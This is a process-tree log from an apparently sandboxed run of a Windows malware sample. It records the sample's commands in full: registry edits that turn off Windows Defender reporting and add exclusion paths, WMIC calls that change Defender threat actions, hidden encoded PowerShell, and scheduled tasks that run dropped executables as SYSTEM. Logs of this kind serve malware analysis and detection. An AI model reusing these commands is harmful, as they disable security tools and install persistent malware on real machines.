"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:3868

C:\Users\Admin\AppData\Roaming\uecebjd
C:\Users\Admin\AppData\Roaming\uecebjd
2⤵
PID:6020

C:\Users\Admin\AppData\Roaming\bfcebjd
C:\Users\Admin\AppData\Roaming\bfcebjd
2⤵
PID:5644

C:\Users\Admin\AppData\Roaming\bfcebjd
C:\Users\Admin\AppData\Roaming\bfcebjd
3⤵
PID:3528

C:\Program Files\Mozilla Firefox\default-browser-agent.exe
"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
2⤵
PID:4224

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
2⤵
PID:2016

C:\Users\Admin\AppData\Roaming\uecebjd
C:\Users\Admin\AppData\Roaming\uecebjd
2⤵
PID:2756

C:\Users\Admin\AppData\Roaming\bfcebjd
C:\Users\Admin\AppData\Roaming\bfcebjd
2⤵
PID:3052

C:\Users\Admin\AppData\Roaming\bfcebjd
C:\Users\Admin\AppData\Roaming\bfcebjd
3⤵
PID:4368

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
2⤵
PID:1560

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
2⤵
PID:4960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:2192

C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\USPIMwgp\QTqDwYQ.exe
C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\USPIMwgp\QTqDwYQ.exe vm /S
2⤵
PID:3400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --restore-last-session
2⤵
PID:5384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feed454f50,0x7feed454f60,0x7feed454f70
3⤵
PID:4492

C:\Users\Admin\AppData\Roaming\bfcebjd
C:\Users\Admin\AppData\Roaming\bfcebjd
2⤵
PID:1020

C:\Users\Admin\AppData\Roaming\uecebjd
C:\Users\Admin\AppData\Roaming\uecebjd
2⤵
PID:6008

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
1⤵
PID:3856

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
1⤵
PID:2440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
1⤵
PID:4664

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
2⤵
PID:4156

C:\Windows\system32\taskeng.exe
taskeng.exe {086A13C8-7C8F-45E5-94DD-F58B0C57F693} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2156

C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\nKdCoxZ.exe
C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\nKdCoxZ.exe uG /site_id 394347 /S
2⤵
PID:2084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:2712

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:4912

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:5036

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1728

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:3952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:4560

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:1640

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5936

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5268

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gPSJhPdqQ" /SC once /ST 04:26:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2756

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gPSJhPdqQ"
3⤵
PID:4344

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gPSJhPdqQ"
3⤵
PID:4564

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5036

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4000

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4372

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:764

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2932

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3708

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4400

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3232

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\mlmrxyCihFugMjhe\FSTYEswR\UUKgTXGpcdSWdjOq.wsf"
3⤵
PID:1596

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\mlmrxyCihFugMjhe\FSTYEswR\UUKgTXGpcdSWdjOq.wsf"
3⤵
PID:756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2160

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:4500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:5464

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
7⤵
PID:2540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:6136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DOWaNXZtDJLiC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:6124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:4772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RQzLvVUNU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EHjpVGHxoTMU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:6120

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEsFaEtipdnTXqXtwBR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVgZiWyyyxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3472

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mlmrxyCihFugMjhe" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:3376

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:2476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:5720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NKsRZGTfNWtvCUVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:5552

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YqJChhYnTMHzkMjCc" /SC once /ST 01:23:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\AggQHHI.exe\" lA /site_id 394347 /S" /V1 /F
3⤵
- Creates scheduled task(s)
PID:3480

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "YqJChhYnTMHzkMjCc"
3⤵
PID:1728

C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\nKdCoxZ.exe
C:\Users\Admin\AppData\Local\Temp\prNnatYmCsQFEeCzn\OFTJvYQhcKRKyYZ\nKdCoxZ.exe uG /site_id 394347 /S
2⤵
PID:2108

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:1636

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:5600

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:4136

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:3056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3296

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:5684

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3656

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:1372

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:3984

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YqJChhYnTMHzkMjCc" /SC once /ST 02:14:14 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\QysftOB.exe\" lA /site_id 394347 /S" /V1 /F
3⤵
- Creates scheduled task(s)
PID:1160

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "YqJChhYnTMHzkMjCc"
3⤵
PID:4352

C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\AggQHHI.exe
C:\Windows\Temp\mlmrxyCihFugMjhe\GODdmYHTnpCwNhO\AggQHHI.exe lA /site_id 394347 /S
2⤵
PID:5236

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
3⤵
PID:1880

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:1104

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:3208

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:6056

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
4⤵
PID:2160

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bvmcjEjDUxHOOxIZsK"
3⤵
PID:5580

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2568

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:5148

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:3348

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:5656

